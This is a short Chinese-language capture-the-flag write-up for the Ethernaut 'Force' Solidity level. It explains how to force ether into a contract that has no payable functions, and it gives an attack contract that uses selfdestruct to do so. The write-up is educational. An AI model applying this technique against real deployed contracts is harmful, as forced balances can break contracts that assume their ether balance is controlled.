原始代码
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Force {/*
MEOW ?
/\_/\ /
____/ o o \
/~____ =ø= /
(______)__m_m)
*/}
攻击思路
因为该合约没有任何 payable
函数,也没有 receive()
函数,因此不能直接发送交易。
强制调用合约代码,可以使用另一个合约的 selfdestruct()
关键字。
每一个合约都可以通过 selfdestruct(address)
关键字实现自毁,并将剩余的 ETH 余额发送到指定的地址。
注意,ERC-20 代币余额并不会被发送,自毁后这些代币将会永久丢失。
攻击代码
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
contract Force {/*
MEOW ?
/\_/\ /
____/ o o \
/~____ =ø= /
(______)__m_m)
*/}
contract ForceHack{
function destroy(address forceAddress) public {
selfdestruct(payable(forceAddress));
}
receive() payable external{}
}
冷知识
selfdestruct
已被标记为 deprecated
,在 EIP-4758 中被废除并将其 opcode 修改为 SENDALL
。
SENDALL
只发送全部的 ETH 余额,但不会删除合约的 bytecode 。